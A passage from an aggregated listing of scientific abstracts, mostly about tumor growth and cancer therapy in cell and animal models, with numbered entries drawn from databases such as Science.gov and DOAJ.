eicosanoid pathway and Wnt signaling. In addition, these data also suggest that prostacyclin analogs may represent a new class of therapeutic agents in the treatment of NSCLC where the restoration of noncanonical Wnt signaling maybe important for the inhibition of transformed cell growth. 17. Hazard plotting and estimates for the tumor rate and the tumor growth time for radiogenic osteosarcomas in man International Nuclear Information System (INIS) The tumor rate (hazard rate) and the tumor growth time were estimated from a multiply censored sample of observed tumor appearance times in persons with an initial intake of 226Ra and 228Ra larger than about 230 μCi/kg bone. The tumor appearance times in these individuals appear to be exponentially distributed and follow, therefore, a straight line if plotted against the cumulative hazard on linear paper, the hazard paper for an exponential failure time distribution. This implies a constant dose independent tumor rate for osteosarcoma induction in the limit of large radiation doses. An expression for tumor rate from a stochastic model, described earlier in detail showing this behavior, is discussed briefly 18. Aspirin inhibits colon cancer cell and tumor growth and downregulates specificity protein (Sp transcription factors. Directory of Open Access Journals (Sweden) Satya Pathi Full Text Available Acetylsalicylic acid (aspirin is highly effective for treating colon cancer patients postdiagnosis; however, the mechanisms of action of aspirin in colon cancer are not well defined. Aspirin and its major metabolite sodium salicylate induced apoptosis and decreased colon cancer cell growth and the sodium salt of aspirin also inhibited tumor growth in an athymic nude mouse xenograft model. Colon cancer cell growth inhibition was accompanied by downregulation of Sp1, Sp3 and Sp4 proteins and decreased expression of Sp-regulated gene products including bcl-2, survivin, VEGF, VEGFR1, cyclin D1, c-MET and p65 (NFκB. Moreover, we also showed by RNA interference that β-catenin, an important target of aspirin in some studies, is an Sp-regulated gene. Aspirin induced nuclear caspase-dependent cleavage of Sp1, Sp3 and Sp4 proteins and this response was related to sequestration of zinc ions since addition of zinc sulfate blocked aspirin-mediated apoptosis and repression of Sp proteins. The results demonstrate an important underlying mechanism of action of aspirin as an anticancer agent and, based on the rapid metabolism of aspirin to salicylate in humans and the high salicylate/aspirin ratios in serum, it is likely that the anticancer activity of aspirin is also due to the salicylate metabolite. 19. O-GlcNAcylation of G6PD promotes the pentose phosphate pathway and tumor growth. Science.gov (United States) Rao, Xiongjian; Duan, Xiaotao; Mao, Weimin; Li, Xuexia; Li, Zhonghua; Li, Qian; Zheng, Zhiguo; Xu, Haimiao; Chen, Min; Wang, Peng G; Wang, Yingjie; Shen, Binghui; Yi, Wen 2015-09-24 The pentose phosphate pathway (PPP) plays a critical role in macromolecule biosynthesis and maintaining cellular redox homoeostasis in rapidly proliferating cells. Upregulation of the PPP has been shown in several types of cancer. However, how the PPP is regulated to confer a selective growth advantage on cancer cells is not well understood. Here we show that glucose-6-phosphate dehydrogenase (G6PD), the rate-limiting enzyme of the PPP, is dynamically modified with an O-linked β-N-acetylglucosamine sugar in response to hypoxia. Glycosylation activates G6PD activity and increases glucose flux through the PPP, thereby providing precursors for nucleotide and lipid biosynthesis, and reducing equivalents for antioxidant defense. Blocking glycosylation of G6PD reduces cancer cell proliferation in vitro and impairs tumor growth in vivo. Importantly, G6PD glycosylation is increased in human lung cancers. Our findings reveal a mechanistic understanding of how O-glycosylation directly regulates the PPP to confer a selective growth advantage to tumours. 20. Volasertib suppresses tumor growth and potentiates the activity of cisplatin in cervical cancer. Science.gov (United States) Xie, Feng-Feng; Pan, Shi-Shi; Ou, Rong-Ying; Zheng, Zhen-Zhen; Huang, Xiao-Xiu; Jian, Meng-Ting; Qiu, Jian-Ge; Zhang, Wen-Ji; Jiang, Qi-Wei; Yang, Yang; Li, Wen-Feng; Shi, Zhi; Yan, Xiao-Jian 2015-01-01 Volasertib (BI 6727), a highly selective and potent inhibitor of PLK1, has shown broad antitumor activities in the preclinical and clinical studies for the treatment of several types of cancers. However, the anticancer effect of volasertib on cervical cancer cells is still unknown. In the present study, we show that volasertib can markedly induce cell growth inhibition, cell cycle arrest at G2/M phase and apoptosis with the decreased protein expressions of PLK1 substrates survivin and wee1 in human cervical cancer cells. Furthermore, volasertib also enhances the intracellular reactive oxidative species (ROS) levels, and pretreated with ROS scavenger N-acety-L-cysteine totally blocks ROS generation but partly reverses volasertib-induced apoptosis. In addition, volasertib significantly potentiates the activity of cisplatin to inhibit the growth of cervical cancer in vitro and in vivo. In brief, volasertib suppresses tumor growth and potentiates the activity of cisplatin in cervical cancer, suggesting the combination of volasertib and cisplatin may be a promising strategy for the treatment of patients with cervical cancer. PMID:26885445 1. M-HIFU inhibits tumor growth, suppresses STAT3 activity and enhances tumor specific immunity in a transplant tumor model of prostate cancer. Directory of Open Access Journals (Sweden) Xiaoyi Huang Full Text Available OBJECTIVE: In this study, we explored the use of mechanical high intensity focused ultrasound (M-HIFU as a neo-adjuvant therapy prior to surgical resection of the primary tumor. We also investigated the role of signal transducer and activator of transcription 3 (STAT3 in M-HIFU elicited anti-tumor immune response using a transplant tumor model of prostate cancer. METHODS: RM-9, a mouse prostate cancer cell line with constitutively activated STAT3, was inoculated subcutaneously in C57BL/6J mice. The tumor-bearing mice (with a maximum tumor diameter of 5∼6 mm were treated by M-HIFU or sham exposure two days before surgical resection of the primary tumor. Following recovery, if no tumor recurrence was observed in 30 days, tumor rechallenge was performed. The growth of the rechallenged tumor, survival rate and anti-tumor immune response of the animal were evaluated. RESULTS: No tumor recurrence and distant metastasis were observed in both treatment groups employing M-HIFU + surgery and surgery alone. However, compared to surgery alone, M-HIFU combined with surgery were found to significantly inhibit the growth of rechallenged tumors, down-regulate intra-tumoral STAT3 activities, increase cytotoxic T cells in spleens and tumor draining lymph nodes (TDLNs, and improve the host survival. Furthermore, M-HIFU combined with surgery was found to significantly decrease the level of immunosuppression with concomitantly increased number and activities of dendritic cells, compared to surgery alone. CONCLUSION: Our results demonstrate that M-HIFU can inhibit STAT3 activities, and when combined synergistically with surgery, may provide a novel and promising strategy for the treatment of prostate cancers. 2. Impact of Stroma on the Growth, Microcirculation, Metabolism of Experimental Prostate Tumors Directory of Open Access Journals (Sweden) Christian M. Zechmann 2007-01-01 Full Text Available In prostate cancers (PCa, the formation of malignant stroma may substantially influence tumor phenotype and aggressiveness. Thus, the impact of the orthotopic and subcutaneous implantations of hormone-sensitive (H, hormone-insensitive (HI, anaplastic (AT1 Dunning PCa in rats on growth, microcirculation, metabolism was investigated. For this purpose, dynamic contrast-enhanced magnetic resonance imaging and 1H magnetic resonance spectroscopy ([1H]MRS were applied in combination with histology. Consistent observations revealed that orthotopic H tumors grew significantly slower compared to subcutaneous ones, whereas the growth of HI and AT1 tumors was comparable at both locations. Histologic analysis indicated that glandular differentiation and a close interaction of tumor cells and smooth muscle cells (SMC were associated with slow tumor growth. Furthermore, there was a significantly lower SMC density in subcutaneous H tumors than in orthotopic H tumors. Perfusion was observed to be significantly lower in orthotopic H tumors than in subcutaneous H tumors. Regional blood volume and permeability-surface area product showed no significant differences between tumor models and their implantation sites. Differences in growth between subcutaneous and orthotopic H tumors can be attributed to tumor-stroma interaction and perfusion. Here, SMC, may stabilize glandular structures and contribute to the maintenance of differentiated phenotype. 3. Impact of Stroma on the Growth, Microcirculation, and Metabolism of Experimental Prostate Tumors Science.gov (United States) Zechmann, Christian M; Woenne, Eva C; Brix, Gunnar; Radzwill, Nicole; Ilg, Martin; Bachert, Peter; Peschke, Peter; Kirsch, Stefan; Kauczor, Hans-Ulrich; Delorme, Stefan; Semmler, Wolfhard; Kiessling, Fabian 2007-01-01 Abstract In prostate cancers (PCa), the formation of malignant stroma may substantially influence tumor phenotype and aggressiveness. Thus, the impact of the orthotopic and subcutaneous implantations of hormone-sensitive (H), hormone-insensitive (HI), and anaplastic (AT1) Dunning PCa in rats on growth, microcirculation, and metabolism was investigated. For this purpose, dynamic contrast-enhanced magnetic resonance imaging and 1H magnetic resonance spectroscopy ([1H]MRS) were applied in combination with histology. Consistent observations revealed that orthotopic H tumors grew significantly slower compared to subcutaneous ones, whereas the growth of HI and AT1 tumors was comparable at both locations. Histologic analysis indicated that glandular differentiation and a close interaction of tumor cells and smooth muscle cells (SMC) were associated with slow tumor growth. Furthermore, there was a significantly lower SMC density in subcutaneous H tumors than in orthotopic H tumors. Perfusion was observed to be significantly lower in orthotopic H tumors than in subcutaneous H tumors. Regional blood volume and permeability-surface area product showed no significant differences between tumor models and their implantation sites. Differences in growth between subcutaneous and orthotopic H tumors can be attributed to tumor-stroma interaction and perfusion. Here, SMC, may stabilize glandular structures and contribute to the maintenance of differentiated phenotype. PMID:17325744 4. Pathology of growth hormone-producing tumors of the human pituitary. Science.gov (United States) Kovacs, K; Horvath, E 1986-02-01 This paper reviews the morphologic features of growth hormone-producing tumors of the human pituitary. These tumors are associated with elevated blood growth hormone levels and acromegaly or gigantism and can be classified into the following morphologically distinct entities by the combined application of histology, immunocytology, and electron microscopy: densely granulated growth hormone cell adenoma; sparsely granulated growth hormone cell adenoma; mixed growth hormone cell- prolactin cell-adenoma; acidophil stem cell adenoma; mammosomatotroph cell adenoma; growth hormone cell carcinoma; plurihormonal adenoma with growth hormone production. PMID:3303228 5. Preliminary investigation of the inhibitory effects of mechanical stress in tumor growth Science.gov (United States) Garg, Ishita; Miga, Michael I. 2008-03-01 In the past years different models have been formulated to explain the growth of gliomas in the brain. The most accepted model is based on a reaction-diffusion equation that describes the growth of the tumor as two separate components- a proliferative component and an invasive component. While many improvements have been made to this basic model, the work exploring the factors that naturally inhibit growth is insufficient. It is known that stress fields affect the growth of normal tissue. Due to the rigid skull surrounding the brain, mechanical stress might be an important factor in inhibiting the growth of gliomas. A realistic model of glioma growth would have to take that inhibitory effect into account. In this work a mathematical model based on the reaction-diffusion equation was used to describe tumor growth, and the affect of mechanical stresses caused by the mass effect of tumor cells was studied. An initial tumor cell concentration with a Gaussian distribution was assumed and tumor growth was simulated for two cases- one where growth was solely governed by the reaction-diffusion equation and second where mechanical stress inhibits growth by affecting the diffusivity. All the simulations were performed using the finite difference method. The results of simulations show that the proposed mechanism of inhibition could have a significant affect on tumor growth predictions. This could have implications for varied applications in the imaging field that use growth models, such as registration and model updated surgery. 6. EXPRESSION OF EPIDERMAL GROWTH FACTOR, TRANSFORMING GROWTH FACTOR-a AND THEIR RECEPTOR IN HUMAN PITUITARY TUMORS Institute of Scientific and Technical Information of China (English) 2001-01-01 Objective: To explore the role of growth factor autocrine stimulation in the pathogenesis of human pituitary tumors. Methods: The expression of EGF, TGF-a and EGFR were studied by immunohisto-chemical method on paraffin-embedded sections of 30 cases pituitary tumor. Results: EGFR and its ligands EGF, TGF-a expressed in majority of pituitary tumors. The expression of EGFR and its ligands varied with cells' intensity, density and type. Conclusion: The EGF autocrine stimulating exerted in the pituitary tumor development process, that tyrosine kinases inhibitors may be useful for pituitary tumors treatment. 7. Hybrid discrete-continuum model of tumor growth considering capillary points Institute of Scientific and Technical Information of China (English) 吕杰; 许世雄; 姚伟; 周瑜; 龙泉 2013-01-01 A hybrid discrete-continuum model of tumor growth in the avascular phase considering capillary points is established. The influence of the position of capillary points on tumor growth is also studied by simulation. The results of the dynamic tumor growth and the distribution of oxygen, matrix-degrading enzymes, and extracellular matrix-concentration in the microenvironment with respect to time are shown by graphs. The relationships between different oxygenated environments and the numbers of surviving, dead, proliferative, and quiescent tumor cells are also investigated. 8. Elevated VEGF-D Modulates Tumor Inflammation and Reduces the Growth of Carcinogen-Induced Skin Tumors. Science.gov (United States) Honkanen, Hanne-Kaisa; Izzi, Valerio; Petäistö, Tiina; Holopainen, Tanja; Harjunen, Vanessa; Pihlajaniemi, Taina; Alitalo, Kari; Heljasvaara, Ritva 2016-07-01 Vascular endothelial growth factor D (VEGF-D) promotes the lymph node metastasis of cancer by inducing the growth of lymphatic vasculature, but its specific roles in tumorigenesis have not been elucidated. We monitored the effects of VEGF-D in cutaneous squamous cell carcinoma (cSCC) by subjecting transgenic mice overexpressing VEGF-D in the skin (K14-mVEGF-D) and VEGF-D knockout mice to a chemical skin carcinogenesis protocol involving 7,12-dimethylbenz[a]anthracene and 12-O-tetradecanoylphorbol-13-acetate treatments. In K14-mVEGF-D mice, tumor lymphangiogenesis was significantly increased and the frequency of lymph node metastasis was elevated in comparison with controls. Most notably, the papillomas regressed more often in K14-mVEGF-D mice than in littermate controls, resulting in a delay in tumor incidence and a remarkable reduction in the total tumor number. Skin tumor growth and metastasis were not obviously affected in the absence of VEGF-D; however, the knockout mice showed a trend for reduced lymphangiogenesis in skin tumors and in the untreated skin. Interestingly, K14-mVEGF-D mice showed an altered immune response in skin tumors. This consisted of the reduced accumulation of macrophages, mast cells, and CD4(+) T-cells and an increase of cytotoxic CD8(+) T-cells. Cytokine profiling by flow cytometry and quantitative real time PCR revealed that elevated VEGF-D expression results in an attenuated Th2 response and promotes M1/Th1 and Th17 polarization in the early stage of skin carcinogenesis, leading to an anti-tumoral immune environment and the regression of primary tumors. Our data suggest that VEGF-D may be beneficial in early-stage tumors since it suppresses the pro-tumorigenic inflammation, while at later stages VEGF-D-induced tumor lymphatics provide a route for metastasis. PMID:27435926 9. Plasmin-driven fibrinolysis facilitates skin tumor growth in a gender-dependent manner DEFF Research Database (Denmark) Hald, Andreas; Eickhardt, Hanne; Maerkedahl, Rasmus Baadsgaard; 2012-01-01 the development of skin cancer. To test this, we set up a chemically induced skin tumor model in a cohort of mice and found that skin tumor growth in Plg(-)(/)(-) male mice was reduced by 52% compared with wild-type controls. Histological analyses suggested that the growth-restricting effect of plasminogen... 10. Angiostatin and endostatin: endothelial cell-specific endogenous inhibitors of angiogenesis and tumor growth. Science.gov (United States) Sim, B K 1998-01-01 Angiostatin and Endostatin are potent inhibitors of angiogenesis. These proteins are endogenously produced and specifically target endothelial cells resulting in angiogenesis inhibition. Recombinant preparations of these proteins inhibit the growth of metastases and regress primary tumors to dormant microscopic lesions. A variety of murine tumors as well as human breast, prostate and colon tumors in human xenograft models regress when treated with Angiostatin or Endostatin. Regression of tumors upon systemic treatment with these proteins is in part due to increased tumor cell apoptosis. Repeated cycles of Endostatin therapy lead to prolonged tumor dormancy without further treatment and are not associated with any apparent toxicity or acquired drug resistance. PMID:14517374 11. A Mathematical Model of Chaotic Attractor in Tumor Growth and Decay OpenAIRE Ivancevic, Tijana T.; Bottema, Murk J.; Jain, Lakhmi C. 2008-01-01 We propose a strange-attractor model of tumor growth and metastasis. It is a 4-dimensional spatio-temporal cancer model with strong nonlinear couplings. Even the same type of tumor is different in every patient both in size and appearance, as well as in temporal behavior. This is clearly a characteristic of dynamical systems sensitive to initial conditions. The new chaotic model of tumor growth and decay is biologically motivated. It has been developed as a live Mathematica demonstration, see... 12. Molecular Understanding of Growth Inhibitory Effect from Irradiated to Bystander Tumor Cells in Mouse Fibrosarcoma Tumor Model. Science.gov (United States) Desai, Sejal; Srambikkal, Nishad; Yadav, Hansa D; Shetake, Neena; Balla, Murali M S; Kumar, Amit; Ray, Pritha; Ghosh, Anu; Pandey, B N 2016-01-01 13. Blockade of Wnt signaling inhibits angiogenesis and tumor growth in hepatocellular carcinoma OpenAIRE J. Hu; Dong, A.; Fernandez-Ruiz, V. (Verónica); Shan, J.; Kawa, M. (Milosz); Martinez-Anso, E. (Eduardo); J. Prieto; Qian, C 2009-01-01 Aberrant activation of Wnt signaling plays an important role in hepatocarcinogenesis. In addition to direct effects on tumor cells, Wnt signaling might be involved in the organization of tumor microenvironment. In this study, we have explored whether Wnt signaling blockade by exogenous expression of Wnt antagonists could inhibit tumor angiogenesis and control tumor growth. Human Wnt inhibitory factor 1 (WIF1) and secreted frizzled-related protein 1 (sFRP1) were each fused with Fc fragment of ... 14. Consistent fluctuations in quantities of circulating immune complexes during progressive and regressive phases of tumor growth. OpenAIRE Jennette, J. C. 1980-01-01 Circulating immune complexes (CIC) were quantitated by a Raji cell radioimmunoassay in sera from Brown Norway rats bearing progressing or regressing methylcholanthrene-induced sarcomas. Quantitative profiles of CIC over time were related to tumor dose, tumor mass, and the regressive or progressive course of tumor growth. Animals bearing progressing tumors demonstrated an initial peak of CIC levels by 7 weeks but thereafter displayed a persistent decline in quantities of CIC despite continued ... 15. Suppression of tumor growth and angiogenesis by a specific antagonist of the cell-surface expressed nucleolin. Directory of Open Access Journals (Sweden) Damien Destouches Full Text Available BACKGROUND: Emerging evidences suggest that nucleolin expressed on the cell surface is implicated in growth of tumor cells and angiogenesis. Nucleolin is one of the major proteins of the nucleolus, but it is also expressed on the cell surface where is serves as a binding protein for variety of ligands implicated in cell proliferation, differentiation, adhesion, mitogenesis and angiogenesis. METHODOLOGY/PRINCIPAL FINDINGS: By using a specific antagonist that binds the C-terminal tail of nucleolin, the HB-19 pseudopeptide, here we show that the growth of tumor cells and angiogenesis are suppressed in various in vitro and in vivo experimental models. HB-19 inhibited colony formation in soft agar of tumor cell lines, impaired migration of endothelial cells and formation of capillary-like structures in collagen gel, and reduced blood vessel branching in the chick embryo chorioallantoic membrane. In athymic nude mice, HB-19 treatment markedly suppressed the progression of established human breast tumor cell xenografts in nude mice, and in some cases eliminated measurable tumors while displaying no toxicity to normal tissue. This potent antitumoral effect is attributed to the direct inhibitory action of HB-19 on both tumor and endothelial cells by blocking and down regulating surface nucleolin, but without any apparent effect on nucleolar nucleolin. CONCLUSION/SIGNIFICANCE: Our results illustrate the dual inhibitory action of HB-19 on the tumor development and the neovascularization process, thus validating the cell-surface expressed nucleolin as a strategic target for an effective cancer drug. Consequently, the HB-19 pseudopeptide provides a unique candidate to consider for innovative cancer therapy. 16. A novel thermal treatment modality for controlling breast tumor growth and progression. Science.gov (United States) Xie, Yifan; Liu, Ping; Xu, Lisa X 2012-01-01 The new concept of keeping primary tumor under control in situ to suppress distant foci sheds light on the novel treatment of metastatic tumor. Hyperthermia is considered as one of the means for controlling tumor growth. In this study, a novel thermal modality was built to introduce hyperthermia effect on tumor to suppress its growth and progression using 4T1 murine mammary carcinoma, a common animal model of metastatic breast cancer. A mildly raised temperature (i.e.39°C) was imposed on the skin surface of the implanted tumor using a thermal heating pad. Periodic heating (12 hours per day) was carried out for 3 days, 7 days, 14 days, and 21 days, respectively. The tumor growth rate was found significantly decreased in comparison to the control without hyperthermia. Biological evidences associated with tumor angiogenesis and metastasis were examined using histological analyses. Accordingly, the effect of mild hyperthermia on immune cell infiltration into tumors was also investigated. It was demonstrated that a delayed tumor growth and malignancy progression was achieved by mediating tumor cell apoptosis, vascular injury, degrading metastasis potential and as well as inhibiting the immunosuppressive cell myeloid derived suppressor cells (MDSCs) recruitment. Further mechanistic studies will be performed to explore the quantitative relationship between tumor progression and thermal dose in the near future. PMID:23367225 17. Study of thermal effect on breast tumor metabolism and growth using metabonomics. Science.gov (United States) Dai, Guangchen; Jia, Wei; Hu, Xiaofang; Xu, Lisa X 2013-01-01 In this study, the biological effects of long-term mild hyperthermia treatment on tumor metabolism and growth were investigated using 4T1 murine mammary carcinoma, a common animal model of metastatic breast cancer. Periodic thermal treatment (12 hours per day) was applied to tumors and carried out for 3 days, 7 days, 14 days, and 21 days, respectively. The metabolites of tumor tissues were analyzed by gas chromatography-mass spectrometry. The results showed that the growth rate of thermally treated tumors was inversely related to the abundance of long chain fatty acids and acyl glycerols identified in tumor tissues. In the first two weeks, the growth of thermally treated tumors was significantly inhibited, while there was an obvious accumulation of long chain fatty acids and acyl glycerols in tumor tissues. In the third week, the thermally treated tumors adapted to the thermal environment and started to regrow, while the abundance of long chain fatty acids and acyl glycerols decreased in the tumor tissues. These observations suggested that the blockade of long chain fatty acid synthesis during mild hyperthermia treatment of tumors could improve the long-term treatment effect by limiting the supply of substance and energy for tumor re-growth. PMID:24110083 18. FAK regulates platelet extravasation and tumor growth after antiangiogenic therapy withdrawal. Science.gov (United States) Haemmerle, Monika; Bottsford-Miller, Justin; Pradeep, Sunila; Taylor, Morgan L; Choi, Hyun-Jin; Hansen, Jean M; Dalton, Heather J; Stone, Rebecca L; Cho, Min Soon; Nick, Alpa M; Nagaraja, Archana S; Gutschner, Tony; Gharpure, Kshipra M; Mangala, Lingegowda S; Rupaimoole, Rajesha; Han, Hee Dong; Zand, Behrouz; Armaiz-Pena, Guillermo N; Wu, Sherry Y; Pecot, Chad V; Burns, Alan R; Lopez-Berestein, Gabriel; Afshar-Kharghan, Vahid; Sood, Anil K 2016-05-01 Recent studies in patients with ovarian cancer suggest that tumor growth may be accelerated following cessation of antiangiogenesis therapy; however, the underlying mechanisms are not well understood. In this study, we aimed to compare the effects of therapy withdrawal to those of continuous treatment with various antiangiogenic agents. Cessation of therapy with pazopanib, bevacizumab, and the human and murine anti-VEGF antibody B20 was associated with substantial tumor growth in mouse models of ovarian cancer. Increased tumor growth was accompanied by tumor hypoxia, increased tumor angiogenesis, and vascular leakage. Moreover, we found hypoxia-induced ADP production and platelet infiltration into tumors after withdrawal of antiangiogenic therapy, and lowering platelet counts markedly inhibited tumor rebound after withdrawal of antiangiogenic therapy. Focal adhesion kinase (FAK) in platelets regulated their migration into the tumor microenvironment, and FAK-deficient platelets completely prevented the rebound tumor growth. Additionally, combined therapy with a FAK inhibitor and the antiangiogenic agents pazopanib and bevacizumab reduced tumor growth and inhibited negative effects following withdrawal of antiangiogenic therapy. In summary, these results suggest that FAK may be a unique target in situations in which antiangiogenic agents are withdrawn, and dual targeting of FAK and VEGF could have therapeutic implications for ovarian cancer management. PMID:27064283 19. Cytochalasin D, a tropical fungal metabolite, inhibits CT26 tumor growth and angiogenesis Institute of Scientific and Technical Information of China (English) Feng-Ying Huang; Yue-Nan Li; Wen-Li Mei; Hao-Fu Dai; Peng Zhou; Guang-Hong Tan 2012-01-01 Objective:To investigate whether cytochalasin D can induce antitumor activities in a tumor model.Methods: Murine CT26 colorectal carcinoma cells were culturedin vitro and cytochalasin D was used as a cytotoxic agent to detect its capabilities of inhibitingCT26 cell proliferation and inducing cell apoptosis by MTT and aTUNEL-based apoptosis assay. MurineCT26 tumor model was established to observe the tumor growth and survival time. Tumor tissues were used to detect the microvessel density by immunohistochemistry. In addition, alginate encapsulated tumor cell assay was used to quantify the tumor angiogenesis in vivo.Results: Cytochalasin D inhibited CT26 tumor cell proliferation in time and dose dependent manner and induced significantCT26 cell apoptosis, which almost reached the level induced by the positive control nuclease. The optimum effective dose of cytochalasinD for in vivo therapy was about50 mg/kg. CytochalasinD in vivotreatment significantly inhibited tumor growth and prolonged the survival times inCT26 tumor-bearing mice. The results of immunohistochemistry analysis and alginate encapsulation assay indicated that the cytochalasinD could effectively inhibited tumor angiogenesis. Conclusions:Cytochalasin D inhibitsCT26 tumor growth potentially through inhibition of cell proliferation, induction of cell apoptosis and suppression of tumor angiogenesis. 20. Morphology-controlled growth of perylene derivative induced by double-hydrophilic block copolymers Directory of Open Access Journals (Sweden) Minghua Huang 2016-01-01 Full Text Available Controlled growth of technically relevant perylene derivative 3, 4, 9, 10-perylenetetracarboxylic acid potassium salt (PTCAPS, with tuneable morpologies, has been successfully realized by a recrystallization method using a double-hydrophilic block copolymer poly (ethylene glycol-block poly (ethyleneimine (PEG-b-PEI as the structure directing agent. The {001} faces of PTCAPS are most polar and adsorb the oppositively charged polymer additive PEG-b-PEI well by electrostatic attraction. By simply adjusting the PEG-b-PEI concentration, systematic morphogenesis of PTCAPS from plates to microparticles composed of various plates splaying outwards could be realized. Furthermore, the variation of pH value of the recrystallization solution could induce the change of the interaction strength between PEG-b-PEI additive and PTCAPS and thus modify the morphology of PTCAPS from microparticles composed of various plates to ultralong microbelts. 1. Morphology-controlled growth of perylene derivative induced by double-hydrophilic block copolymers Science.gov (United States) Huang, Minghua; Antonietti, Markus; Cölfen, Helmut 2016-01-01 Controlled growth of technically relevant perylene derivative 3, 4, 9, 10-perylenetetracarboxylic acid potassium salt (PTCAPS), with tuneable morpologies, has been successfully realized by a recrystallization method using a double-hydrophilic block copolymer poly (ethylene glycol)-block poly (ethyleneimine) (PEG-b-PEI) as the structure directing agent. The {001} faces of PTCAPS are most polar and adsorb the oppositively charged polymer additive PEG-b-PEI well by electrostatic attraction. By simply adjusting the PEG-b-PEI concentration, systematic morphogenesis of PTCAPS from plates to microparticles composed of various plates splaying outwards could be realized. Furthermore, the variation of pH value of the recrystallization solution could induce the change of the interaction strength between PEG-b-PEI additive and PTCAPS and thus modify the morphology of PTCAPS from microparticles composed of various plates to ultralong microbelts. 2. Tumorer DEFF Research Database (Denmark) Prause, J.U.; Heegaard, S. 2005-01-01 oftalmologi, øjenlågstumorer, conjunctivale tumorer, malignt melanom, retinoblastom, orbitale tumorer......oftalmologi, øjenlågstumorer, conjunctivale tumorer, malignt melanom, retinoblastom, orbitale tumorer... 3. FORMATION OF NECROTIC CORES IN THE GROWTH OF TUMORS: ANALYTIC RESULTS Institute of Scientific and Technical Information of China (English) 2006-01-01 In this article, the author studies the mechanism of formation of necrotic cores in the growth of tumors by using rigorous analysis of a mathematical model. The model modifies a corresponding tumor growth model proposed by Byrne and Chaplain in 1996, in the case where no inhibitors exist. The modification is made such that both necrotic tumors and nonnecrotic tumors can be considered in a joint way. It is proved that if the nutrient supply is below a threshold value, then there is not dormant tumor,and all evolutionary tumors will finally vanish. If instead the nutrient supply is above this threshold value then there is a unique dormant tumor which can either be necrotic or nonnecrotic, depending on the level of the nutrient supply and the level of dead-cell dissolution rate, and all evolutionary tumors will converge to this dormant tumor. It is also proved that, in the second case, if the dormant tumor is necrotic then an evolutionary tumor will form a necrotic core at a finite time, and if the dormant tumor is nonnecrotic then an evolutionary tumor will also be nonnecrotic from a finite time. 4. Decreased Warburg effect induced by ATP citrate lyase suppression inhibits tumor growth in pancreatic cancer. Science.gov (United States) Zong, Haifeng; Zhang, Yang; You, Yong; Cai, Tiantian; Wang, Yehuang 2015-03-01 ATP citrate lyase (ACLY) is responsible for the conversion of cytosolic citrate into acetyl-CoA and oxaloacetate, and the first rate-limiting enzyme involved in de novo lipogenesis. Recent studies have demonstrated that inhibition of elevated ACLY results in growth arrest and apoptosis in a subset of cancers; however, the expression pattern and underlying biological function of ACLY in pancreatic ductal adenocarcinoma (PDAC) remains unclear. In the current study, overexpressed ACLY was more commonly observed in PDAC compared to normal pancreatic tissues. Kaplan-Meier survival analysis showed that high expression level of ACLY resulted in a poor prognosis of PDAC patients. Silencing of endogenous ACLY expression by siRNA in PANC-1 cells led to reduced cell viability and increased cell apoptosis. Furthermore, significant decrease in glucose uptake and lactate production was observed after ACLY was knocked down, and this effect was blocked by 2-deoxy-D-glucose, indicating that ACLY functions in the Warburg effect affect PDAC cell growth. Collectively, this study reveals that suppression of ACLY plays an anti-tumor role through decreased Warburg effect, and ACLY-related inhibitors might be potential therapeutic approaches for PDAC. PMID:25701462 5. The natural product peiminine represses colorectal carcinoma tumor growth by inducing autophagic cell death International Nuclear Information System (INIS) Autophagy is evolutionarily conservative in eukaryotic cells that engulf cellular long-lived proteins and organelles, and it degrades the contents through fusion with lysosomes, via which the cell acquires recycled building blocks for the synthesis of new molecules. In this study, we revealed that peiminine induces cell death and enhances autophagic flux in colorectal carcinoma HCT-116 cells. We determined that peiminine enhances the autophagic flux by repressing the phosphorylation of mTOR through inhibiting upstream signals. Knocking down ATG5 greatly reduced the peiminine-induced cell death in wild-type HCT-116 cells, while treating Bax/Bak-deficient cells with peiminine resulted in significant cell death. In summary, our discoveries demonstrated that peiminine represses colorectal carcinoma cell proliferation and cell growth by inducing autophagic cell death. - Highlights: • Peiminine induces autophagy and upregulates autophagic flux. • Peiminine represses colorectal carcinoma tumor growth. • Peiminine induces autophagic cell death. • Peiminine represses mTOR phosphorylation by influencing PI3K/Akt and AMPK pathway 6. The natural product peiminine represses colorectal carcinoma tumor growth by inducing autophagic cell death Energy Technology Data Exchange (ETDEWEB) Lyu, Qing [School of Life Sciences, Tsinghua University, Beijing, 100084 (China); Key Lab in Healthy Science and Technology, Division of Life Science, Graduate School at Shenzhen, Tsinghua University, Shenzhen, 518055 (China); Tou, Fangfang [Jiangxi Provincial Key Lab of Oncology Translation Medicine, Jiangxi Cancer Hospital, Nanchang, 330029 (China); Su, Hong; Wu, Xiaoyong [First Affiliated Hospital, Guiyang College of Traditional Chinese Medicine, Guiyang, 550002 (China); Chen, Xinyi [Department of Hematology and Oncology, Beijing University of Chinese Medicine, Beijing, 100029 (China); Zheng, Zhi, E-mail: zheng_sheva@hotmail.com [Jiangxi Provincial Key Lab of Oncology Translation Medicine, Jiangxi Cancer Hospital, Nanchang, 330029 (China) 2015-06-19 Autophagy is evolutionarily conservative in eukaryotic cells that engulf cellular long-lived proteins and organelles, and it degrades the contents through fusion with lysosomes, via which the cell acquires recycled building blocks for the synthesis of new molecules. In this study, we revealed that peiminine induces cell death and enhances autophagic flux in colorectal carcinoma HCT-116 cells. We determined that peiminine enhances the autophagic flux by repressing the phosphorylation of mTOR through inhibiting upstream signals. Knocking down ATG5 greatly reduced the peiminine-induced cell death in wild-type HCT-116 cells, while treating Bax/Bak-deficient cells with peiminine resulted in significant cell death. In summary, our discoveries demonstrated that peiminine represses colorectal carcinoma cell proliferation and cell growth by inducing autophagic cell death. - Highlights: • Peiminine induces autophagy and upregulates autophagic flux. • Peiminine represses colorectal carcinoma tumor growth. • Peiminine induces autophagic cell death. • Peiminine represses mTOR phosphorylation by influencing PI3K/Akt and AMPK pathway. 7. Diagnostic Value of Processing Cytologic Aspirates of Renal Tumors in Agar Cell (Tissue) Blocks DEFF Research Database (Denmark) Smedts, F.; Schrik, M.; Horn, T.; 2010-01-01 Objective To adapt a method enabling utilization of most of the harvest from a fine needle aspirate in an effort to improve diagnostic accuracy in the assessment of a renal tumor in a single histologic slide. Study Design In a series of 43 renal tumors, 2 fine needle aspirations were performed, 4...... smears were prepared after each aspiration for conventional cytology and the remaining aspirate was processed for the improved agar microbiopsy (AM) method. Conventional cytology slides, AM slides and surgical specimens were diagnosed separately, after which the diagnoses were compared... 8. Mathematical models of tumor growth using Voronoi tessellations in pathology slides of kidney cancer. Science.gov (United States) Saribudak, Aydin; Yiyu Dong; Gundry, Stephen; Hsieh, James; Uyar, M Umit 2015-08-01 The impact of patient-specific spatial distribution features of cell nuclei on 